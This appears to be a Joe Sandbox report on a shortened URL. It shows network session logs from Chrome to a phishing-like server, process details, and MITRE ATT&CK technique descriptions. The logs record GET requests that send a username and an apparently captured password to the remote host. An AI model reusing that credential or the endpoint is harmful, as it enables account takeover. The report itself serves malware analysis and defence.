\ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	60520	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:41 UTC	455	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781680 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:49 UTC	254	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:41 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/plain;charset=UTF-8
2025-01-14 07:13:49 UTC	7938	IN	Data Raw: 62 38 34 36 0d 0a 7b 22 63 6f 64 65 22 3a 20 22 63 61 70 74 63 68 61 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 5c 22 72 63 61 70 74 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 61 70 74 63 68 61 5f 69 6d 67 5c 22 3e 5c 6e 5c 74 3c 69 6d 67 20 69 64 3d 5c 22 63 61 70 74 63 68 61 69 6d 67 5c 22 20 73 72 63 3d 5c 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 2f 39 6a 2f 34 41 41 51 53 6b 5a 4a 52 67 41 42 41 51 41 41 41 51 41 42 41 41 44 2f 32 77 42 44 41 41 59 45 42 51 59 46 42 41 59 47 42 51 59 48 42 77 59 49 43 68 41 4b 43 67 6b 4a 43 68 51 4f 44 77 77 51 46 78 51 59 47 42 63 55 46 68 59 61 48 53 55 66 47 Data Ascii: b846{"code": "captcha", "p": "\n <div id=\"rcapt\"><div class=\"captcha_img\">\n\t<img id=\"captchaimg\" src=\"data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfG
2025-01-14 07:13:50 UTC	16384	IN	Data Raw: 75 4e 52 69 73 4c 69 32 75 37 4b 35 6d 42 61 46 62 6d 50 61 4a 63 64 64 70 42 50 50 74 57 32 52 67 65 31 41 45 45 38 55 63 73 54 4c 4c 47 6a 71 41 54 68 6c 42 47 66 78 72 7a 47 37 76 74 4b 38 53 2b 43 70 4c 48 56 35 72 62 54 64 53 6b 63 68 79 4c 55 2f 4a 74 66 6a 67 44 75 41 4b 37 33 55 74 65 74 62 47 39 46 6d 73 4e 33 65 58 75 7a 7a 44 42 61 51 2b 59 79 72 36 74 79 41 42 39 54 54 70 4e 62 73 6f 4e 49 4f 70 33 69 33 46 70 62 67 34 4b 33 4e 75 79 53 5a 7a 67 44 5a 6a 4a 4a 50 41 78 6e 4e 41 46 4b 78 31 54 77 31 71 4e 36 73 46 6b 39 6e 4a 63 50 6b 71 67 69 77 54 6a 6e 30 70 32 74 2b 48 72 57 39 46 7a 63 74 4a 65 72 50 35 54 46 52 46 63 4f 6f 79 46 4f 50 6c 42 78 31 71 57 79 38 52 32 64 7a 66 51 32 63 73 46 37 59 33 45 34 4a 67 57 38 74 7a 46 35 32 42 6b 68 Data Ascii: uNRisLi2u7K5mBaFbmPaJcddpBPPtW2Rge1AEE8UcsTLLGjqAThlBGfxrzG7vtK8S+CpLHV5rbTdSkchyLU/JtfjgDuAK73UtetbG9FmsN3eXuzzDBaQ+Yyr6tyAB9TTpNbsoNIOp3i3Fpbg4K3NuySZzgDZjJJPAxnNAFKx1Tw1qN6sFk9nJcPkqgiwTjn0p2t+HrW9FzctJerP5TFRFcOoyFOPlBx1qWy8R2dzfQ2csF7Y3E4JgW8tzF52Bkh
2025-01-14 07:13:50 UTC	16384	IN	Data Raw: 61 6c 6f 36 73 73 55 73 36 62 6b 6d 44 66 66 56 77 4f 63 48 32 36 56 4f 32 6a 61 74 72 4f 70 57 45 2f 69 47 53 79 69 74 37 47 55 58 45 4d 46 6b 57 62 66 49 41 51 43 35 59 64 42 6b 34 41 6f 41 36 30 6e 6d 67 6e 41 70 70 59 55 30 6d 67 56 68 57 4f 61 61 61 43 61 62 51 4d 44 53 55 5a 7a 52 51 41 6a 63 6a 46 58 61 70 47 72 53 48 4d 61 2b 34 46 41 43 6d 6b 4e 46 46 41 47 61 56 34 71 4d 69 6e 43 52 57 36 47 6d 74 30 72 4d 2b 71 56 6d 4d 59 41 31 58 6e 54 30 46 57 4b 61 39 55 68 53 70 78 6b 74 55 55 6c 59 72 54 48 75 63 64 61 64 63 6b 44 4e 5a 6c 77 39 61 4a 58 4f 4b 70 68 59 47 68 59 58 79 50 71 64 74 46 6e 6c 70 42 69 75 74 7a 58 6d 2b 6d 67 2f 38 4a 44 70 37 64 76 4f 57 76 52 51 61 54 56 6a 79 4b 30 4f 53 56 69 51 47 6e 41 31 48 6e 48 48 65 6a 6d 6b 5a 44 35 Data Ascii: alo6ssUs6bkmDffVwOcH26VO2jatrOpWE/iGSyit7GUXEMFkWbfIAQC5YdBk4AoA60nmgnAppYU0mgVhWOaaaCabQMDSUZzRQAjcjFXapGrSHMa+4FACmkNFFAGaV4qMinCRW6Gmt0rM+qVmMYA1XnT0FWKa9UhSpxktUUlYrTHucdadckDNZlw9aJXOKphYGhYXyPqdtFnlpBiutzXm+mg/8JDp7dvOWvRQaTVjyK0OSViQGnA1HnHHejmkZD5
2025-01-14 07:13:50 UTC	6474	IN	Data Raw: 76 2b 2b 78 58 48 43 64 6a 78 47 4b 6c 69 68 6d 6c 50 4f 61 45 48 4a 59 36 73 58 64 75 65 6b 38 58 2f 66 59 70 33 32 69 4c 74 4c 48 6a 2f 65 46 59 6c 72 61 4d 75 43 53 61 30 6f 73 71 4b 66 4c 63 54 52 61 45 30 5a 36 53 49 66 2b 42 43 6e 65 5a 36 45 59 71 41 53 59 6f 38 78 65 34 48 35 55 75 55 68 36 46 71 31 75 42 46 63 78 53 45 6a 35 57 48 65 75 74 57 35 52 76 34 71 34 6c 58 6a 42 42 43 70 6b 64 38 43 72 4b 58 62 44 6f 31 55 6b 4c 63 37 44 7a 56 78 77 61 56 58 35 72 6c 6f 39 51 6b 48 65 72 55 57 70 6b 59 7a 54 43 78 54 6c 62 4d 38 70 2f 77 42 74 76 35 30 7a 4e 4d 61 54 63 37 48 31 59 6e 39 61 61 54 6d 6f 43 7a 4a 61 54 50 4e 52 37 73 2b 74 47 36 67 56 6d 50 59 34 46 4b 43 63 59 35 2f 4b 6f 74 31 53 42 6d 32 62 74 35 36 34 6f 47 30 48 4a 7a 6a 6e 48 57 6d Data Ascii: v++xXHCdjxGKlihmlPOaEHJY6sXduek8X/fYp32iLtLHj/eFYlraMuCSa0osqKfLcTRaE0Z6SIf+BCneZ6EYqASYo8xe4H5UuUh6Fq1uBFcxSEj5WHeutW5Rv4q4lXjBBCpkd8CrKXbDo1UkLc7DzVxwaVX5rlo9QkHerUWpkYzTCxTlbM8p/wBtv50zNMaTc7H1Yn9aaTmoCzJaTPNR7s+tG6gVmPY4FKCcY5/Kot1SBm2bt564oG0HJzjnHWm
2025-01-14 07:13:50 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-14 07:13:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	60669	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:14:05 UTC	775	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781681 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:14:08 UTC	254	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:14:05 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/plain;charset=UTF-8
2025-01-14 07:14:08 UTC	7938	IN	Data Raw: 62 38 34 36 0d 0a 7b 22 63 6f 64 65 22 3a 20 22 63 61 70 74 63 68 61 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 5c 22 72 63 61 70 74 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 61 70 74 63 68 61 5f 69 6d 67 5c 22 3e 5c 6e 5c 74 3c 69 6d 67 20 69 64 3d 5c 22 63 61 70 74 63 68 61 69 6d 67 5c 22 20 73 72 63 3d 5c 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 2f 39 6a 2f 34 41 41 51 53 6b 5a 4a 52 67 41 42 41 51 41 41 41 51 41 42 41 41 44 2f 32 77 42 44 41 41 59 45 42 51 59 46 42 41 59 47 42 51 59 48 42 77 59 49 43 68 41 4b 43 67 6b 4a 43 68 51 4f 44 77 77 51 46 78 51 59 47 42 63 55 46 68 59 61 48 53 55 66 47 Data Ascii: b846{"code": "captcha", "p": "\n <div id=\"rcapt\"><div class=\"captcha_img\">\n\t<img id=\"captchaimg\" src=\"data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfG
2025-01-14 07:14:09 UTC	16384	IN	Data Raw: 75 4e 52 69 73 4c 69 32 75 37 4b 35 6d 42 61 46 62 6d 50 61 4a 63 64 64 70 42 50 50 74 57 32 52 67 65 31 41 45 45 38 55 63 73 54 4c 4c 47 6a 71 41 54 68 6c 42 47 66 78 72 7a 47 37 76 74 4b 38 53 2b 43 70 4c 48 56 35 72 62 54 64 53 6b 63 68 79 4c 55 2f 4a 74 66 6a 67 44 75 41 4b 37 33 55 74 65 74 62 47 39 46 6d 73 4e 33 65 58 75 7a 7a 44 42 61 51 2b 59 79 72 36 74 79 41 42 39 54 54 70 4e 62 73 6f 4e 49 4f 70 33 69 33 46 70 62 67 34 4b 33 4e 75 79 53 5a 7a 67 44 5a 6a 4a 4a 50 41 78 6e 4e 41 46 4b 78 31 54 77 31 71 4e 36 73 46 6b 39 6e 4a 63 50 6b 71 67 69 77 54 6a 6e 30 70 32 74 2b 48 72 57 39 46 7a 63 74 4a 65 72 50 35 54 46 52 46 63 4f 6f 79 46 4f 50 6c 42 78 31 71 57 79 38 52 32 64 7a 66 51 32 63 73 46 37 59 33 45 34 4a 67 57 38 74 7a 46 35 32 42 6b 68 Data Ascii: uNRisLi2u7K5mBaFbmPaJcddpBPPtW2Rge1AEE8UcsTLLGjqAThlBGfxrzG7vtK8S+CpLHV5rbTdSkchyLU/JtfjgDuAK73UtetbG9FmsN3eXuzzDBaQ+Yyr6tyAB9TTpNbsoNIOp3i3Fpbg4K3NuySZzgDZjJJPAxnNAFKx1Tw1qN6sFk9nJcPkqgiwTjn0p2t+HrW9FzctJerP5TFRFcOoyFOPlBx1qWy8R2dzfQ2csF7Y3E4JgW8tzF52Bkh
2025-01-14 07:14:09 UTC	16384	IN	Data Raw: 61 6c 6f 36 73 73 55 73 36 62 6b 6d 44 66 66 56 77 4f 63 48 32 36 56 4f 32 6a 61 74 72 4f 70 57 45 2f 69 47 53 79 69 74 37 47 55 58 45 4d 46 6b 57 62 66 49 41 51 43 35 59 64 42 6b 34 41 6f 41 36 30 6e 6d 67 6e 41 70 70 59 55 30 6d 67 56 68 57 4f 61 61 61 43 61 62 51 4d 44 53 55 5a 7a 52 51 41 6a 63 6a 46 58 61 70 47 72 53 48 4d 61 2b 34 46 41 43 6d 6b 4e 46 46 41 47 61 56 34 71 4d 69 6e 43 52 57 36 47 6d 74 30 72 4d 2b 71 56 6d 4d 59 41 31 58 6e 54 30 46 57 4b 61 39 55 68 53 70 78 6b 74 55 55 6c 59 72 54 48 75 63 64 61 64 63 6b 44 4e 5a 6c 77 39 61 4a 58 4f 4b 70 68 59 47 68 59 58 79 50 71 64 74 46 6e 6c 70 42 69 75 74 7a 58 6d 2b 6d 67 2f 38 4a 44 70 37 64 76 4f 57 76 52 51 61 54 56 6a 79 4b 30 4f 53 56 69 51 47 6e 41 31 48 6e 48 48 65 6a 6d 6b 5a 44 35 Data Ascii: alo6ssUs6bkmDffVwOcH26VO2jatrOpWE/iGSyit7GUXEMFkWbfIAQC5YdBk4AoA60nmgnAppYU0mgVhWOaaaCabQMDSUZzRQAjcjFXapGrSHMa+4FACmkNFFAGaV4qMinCRW6Gmt0rM+qVmMYA1XnT0FWKa9UhSpxktUUlYrTHucdadckDNZlw9aJXOKphYGhYXyPqdtFnlpBiutzXm+mg/8JDp7dvOWvRQaTVjyK0OSViQGnA1HnHHejmkZD5
2025-01-14 07:14:09 UTC	6474	IN	Data Raw: 76 2b 2b 78 58 48 43 64 6a 78 47 4b 6c 69 68 6d 6c 50 4f 61 45 48 4a 59 36 73 58 64 75 65 6b 38 58 2f 66 59 70 33 32 69 4c 74 4c 48 6a 2f 65 46 59 6c 72 61 4d 75 43 53 61 30 6f 73 71 4b 66 4c 63 54 52 61 45 30 5a 36 53 49 66 2b 42 43 6e 65 5a 36 45 59 71 41 53 59 6f 38 78 65 34 48 35 55 75 55 68 36 46 71 31 75 42 46 63 78 53 45 6a 35 57 48 65 75 74 57 35 52 76 34 71 34 6c 58 6a 42 42 43 70 6b 64 38 43 72 4b 58 62 44 6f 31 55 6b 4c 63 37 44 7a 56 78 77 61 56 58 35 72 6c 6f 39 51 6b 48 65 72 55 57 70 6b 59 7a 54 43 78 54 6c 62 4d 38 70 2f 77 42 74 76 35 30 7a 4e 4d 61 54 63 37 48 31 59 6e 39 61 61 54 6d 6f 43 7a 4a 61 54 50 4e 52 37 73 2b 74 47 36 67 56 6d 50 59 34 46 4b 43 63 59 35 2f 4b 6f 74 31 53 42 6d 32 62 74 35 36 34 6f 47 30 48 4a 7a 6a 6e 48 57 6d Data Ascii: v++xXHCdjxGKlihmlPOaEHJY6sXduek8X/fYp32iLtLHj/eFYlraMuCSa0osqKfLcTRaE0Z6SIf+BCneZ6EYqASYo8xe4H5UuUh6Fq1uBFcxSEj5WHeutW5Rv4q4lXjBBCpkd8CrKXbDo1UkLc7DzVxwaVX5rlo9QkHerUWpkYzTCxTlbM8p/wBtv50zNMaTc7H1Yn9aaTmoCzJaTPNR7s+tG6gVmPY4FKCcY5/Kot1SBm2bt564oG0HJzjnHWm
2025-01-14 07:14:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-14 07:14:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	60697	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:14:09 UTC	455	OUT	GET //?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781681 HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:14:13 UTC	254	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:14:10 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/plain;charset=UTF-8
2025-01-14 07:14:13 UTC	7938	IN	Data Raw: 62 38 34 36 0d 0a 7b 22 63 6f 64 65 22 3a 20 22 63 61 70 74 63 68 61 22 2c 20 22 70 22 3a 20 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 5c 22 72 63 61 70 74 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 61 70 74 63 68 61 5f 69 6d 67 5c 22 3e 5c 6e 5c 74 3c 69 6d 67 20 69 64 3d 5c 22 63 61 70 74 63 68 61 69 6d 67 5c 22 20 73 72 63 3d 5c 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 2f 39 6a 2f 34 41 41 51 53 6b 5a 4a 52 67 41 42 41 51 41 41 41 51 41 42 41 41 44 2f 32 77 42 44 41 41 59 45 42 51 59 46 42 41 59 47 42 51 59 48 42 77 59 49 43 68 41 4b 43 67 6b 4a 43 68 51 4f 44 77 77 51 46 78 51 59 47 42 63 55 46 68 59 61 48 53 55 66 47 Data Ascii: b846{"code": "captcha", "p": "\n <div id=\"rcapt\"><div class=\"captcha_img\">\n\t<img id=\"captchaimg\" src=\"data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfG
2025-01-14 07:14:13 UTC	16384	IN	Data Raw: 75 4e 52 69 73 4c 69 32 75 37 4b 35 6d 42 61 46 62 6d 50 61 4a 63 64 64 70 42 50 50 74 57 32 52 67 65 31 41 45 45 38 55 63 73 54 4c 4c 47 6a 71 41 54 68 6c 42 47 66 78 72 7a 47 37 76 74 4b 38 53 2b 43 70 4c 48 56 35 72 62 54 64 53 6b 63 68 79 4c 55 2f 4a 74 66 6a 67 44 75 41 4b 37 33 55 74 65 74 62 47 39 46 6d 73 4e 33 65 58 75 7a 7a 44 42 61 51 2b 59 79 72 36 74 79 41 42 39 54 54 70 4e 62 73 6f 4e 49 4f 70 33 69 33 46 70 62 67 34 4b 33 4e 75 79 53 5a 7a 67 44 5a 6a 4a 4a 50 41 78 6e 4e 41 46 4b 78 31 54 77 31 71 4e 36 73 46 6b 39 6e 4a 63 50 6b 71 67 69 77 54 6a 6e 30 70 32 74 2b 48 72 57 39 46 7a 63 74 4a 65 72 50 35 54 46 52 46 63 4f 6f 79 46 4f 50 6c 42 78 31 71 57 79 38 52 32 64 7a 66 51 32 63 73 46 37 59 33 45 34 4a 67 57 38 74 7a 46 35 32 42 6b 68 Data Ascii: uNRisLi2u7K5mBaFbmPaJcddpBPPtW2Rge1AEE8UcsTLLGjqAThlBGfxrzG7vtK8S+CpLHV5rbTdSkchyLU/JtfjgDuAK73UtetbG9FmsN3eXuzzDBaQ+Yyr6tyAB9TTpNbsoNIOp3i3Fpbg4K3NuySZzgDZjJJPAxnNAFKx1Tw1qN6sFk9nJcPkqgiwTjn0p2t+HrW9FzctJerP5TFRFcOoyFOPlBx1qWy8R2dzfQ2csF7Y3E4JgW8tzF52Bkh
2025-01-14 07:14:13 UTC	16384	IN	Data Raw: 61 6c 6f 36 73 73 55 73 36 62 6b 6d 44 66 66 56 77 4f 63 48 32 36 56 4f 32 6a 61 74 72 4f 70 57 45 2f 69 47 53 79 69 74 37 47 55 58 45 4d 46 6b 57 62 66 49 41 51 43 35 59 64 42 6b 34 41 6f 41 36 30 6e 6d 67 6e 41 70 70 59 55 30 6d 67 56 68 57 4f 61 61 61 43 61 62 51 4d 44 53 55 5a 7a 52 51 41 6a 63 6a 46 58 61 70 47 72 53 48 4d 61 2b 34 46 41 43 6d 6b 4e 46 46 41 47 61 56 34 71 4d 69 6e 43 52 57 36 47 6d 74 30 72 4d 2b 71 56 6d 4d 59 41 31 58 6e 54 30 46 57 4b 61 39 55 68 53 70 78 6b 74 55 55 6c 59 72 54 48 75 63 64 61 64 63 6b 44 4e 5a 6c 77 39 61 4a 58 4f 4b 70 68 59 47 68 59 58 79 50 71 64 74 46 6e 6c 70 42 69 75 74 7a 58 6d 2b 6d 67 2f 38 4a 44 70 37 64 76 4f 57 76 52 51 61 54 56 6a 79 4b 30 4f 53 56 69 51 47 6e 41 31 48 6e 48 48 65 6a 6d 6b 5a 44 35 Data Ascii: alo6ssUs6bkmDffVwOcH26VO2jatrOpWE/iGSyit7GUXEMFkWbfIAQC5YdBk4AoA60nmgnAppYU0mgVhWOaaaCabQMDSUZzRQAjcjFXapGrSHMa+4FACmkNFFAGaV4qMinCRW6Gmt0rM+qVmMYA1XnT0FWKa9UhSpxktUUlYrTHucdadckDNZlw9aJXOKphYGhYXyPqdtFnlpBiutzXm+mg/8JDp7dvOWvRQaTVjyK0OSViQGnA1HnHHejmkZD5
2025-01-14 07:14:13 UTC	6474	IN	Data Raw: 76 2b 2b 78 58 48 43 64 6a 78 47 4b 6c 69 68 6d 6c 50 4f 61 45 48 4a 59 36 73 58 64 75 65 6b 38 58 2f 66 59 70 33 32 69 4c 74 4c 48 6a 2f 65 46 59 6c 72 61 4d 75 43 53 61 30 6f 73 71 4b 66 4c 63 54 52 61 45 30 5a 36 53 49 66 2b 42 43 6e 65 5a 36 45 59 71 41 53 59 6f 38 78 65 34 48 35 55 75 55 68 36 46 71 31 75 42 46 63 78 53 45 6a 35 57 48 65 75 74 57 35 52 76 34 71 34 6c 58 6a 42 42 43 70 6b 64 38 43 72 4b 58 62 44 6f 31 55 6b 4c 63 37 44 7a 56 78 77 61 56 58 35 72 6c 6f 39 51 6b 48 65 72 55 57 70 6b 59 7a 54 43 78 54 6c 62 4d 38 70 2f 77 42 74 76 35 30 7a 4e 4d 61 54 63 37 48 31 59 6e 39 61 61 54 6d 6f 43 7a 4a 61 54 50 4e 52 37 73 2b 74 47 36 67 56 6d 50 59 34 46 4b 43 63 59 35 2f 4b 6f 74 31 53 42 6d 32 62 74 35 36 34 6f 47 30 48 4a 7a 6a 6e 48 57 6d Data Ascii: v++xXHCdjxGKlihmlPOaEHJY6sXduek8X/fYp32iLtLHj/eFYlraMuCSa0osqKfLcTRaE0Z6SIf+BCneZ6EYqASYo8xe4H5UuUh6Fq1uBFcxSEj5WHeutW5Rv4q4lXjBBCpkd8CrKXbDo1UkLc7DzVxwaVX5rlo9QkHerUWpkYzTCxTlbM8p/wBtv50zNMaTc7H1Yn9aaTmoCzJaTPNR7s+tG6gVmPY4FKCcY5/Kot1SBm2bt564oG0HJzjnHWm
2025-01-14 07:14:13 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-14 07:14:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:12:45
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:12:46
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2280,i,15911477752783196429,6856431209675175544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:12:53
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://tinyurl.com/286oc4ly"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://tinyurl.com/286oc4ly

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

